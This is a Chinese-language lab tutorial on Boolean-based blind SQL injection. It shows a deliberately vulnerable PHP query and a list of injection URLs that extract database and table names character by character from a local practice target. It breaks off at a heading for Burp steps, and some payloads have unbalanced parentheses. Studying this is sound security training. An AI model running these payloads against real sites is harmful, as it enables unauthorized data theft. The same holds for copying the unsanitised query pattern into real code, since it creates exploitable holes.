SQL盲注-布尔盲注

01布尔盲注原理

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);
if($row)
{
    echo "Right";
}
else
{
    echo "Wrong";
}

代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息

只返回 “Right” 与 “Wrong”

这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确,这既是布尔盲注!

正确请求,id=1 -> 返回 id=1的数据

错误请求,id=1’ -> 返回 与正确页面不同的页面
1.如果页面返回“假”,说明系统执行的SQL语句为“假”如:id=1 and left((select version()),1)=5–+
2.想办法构造语句,判断数据库中内容的值

02布尔盲注方法

构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入

left() left(database(),1)>'s'
        database()显示数据库名称,left(a,b)从左侧截取a的前b位
regexp select user() regexp '^r'
        正则表达式的用法user()结果位root,regexp为匹配root的正则表达式
like	select user() like 'ro%'
        与regexp类似,使用like进行匹配
substr()  ascii(substr((select database()),1,1))=98
ascii() substr(a,b,c)从b位置开始,截取字符串a到c长度,ascii()将某个字符转换为ascii值
ord()	ord(mid((select user()),1,1))=114
mid()	mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数痛ascii(),将字符串转为ascii值

MySql正则表达式

注入点:

http://localhost:90/Less-8/?id=1'
http://localhost:90/Less-8/?id=1' and left((select database()),1)='a'--+
http://localhost:90/Less-8/?id=1' and left((select database()),1)='s'--+ 显示正确第一位为s

http://localhost:90/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+ 第一个表名称字符

http://localhost:90/Less-8/?id=1' and (select database() regexp '^s')--+

http://localhost:90/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^s')--+

http://localhost:90/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%')--+

http://localhost:90/Less-8/?id=1 and ascii((substr((select database()),1,1))=115--+

http://localhost:90/Less-8/?id=1 and ascii((substr((select table_name from information_schema.tables where table_schema=database()),1,1))=115--+

burp操作步骤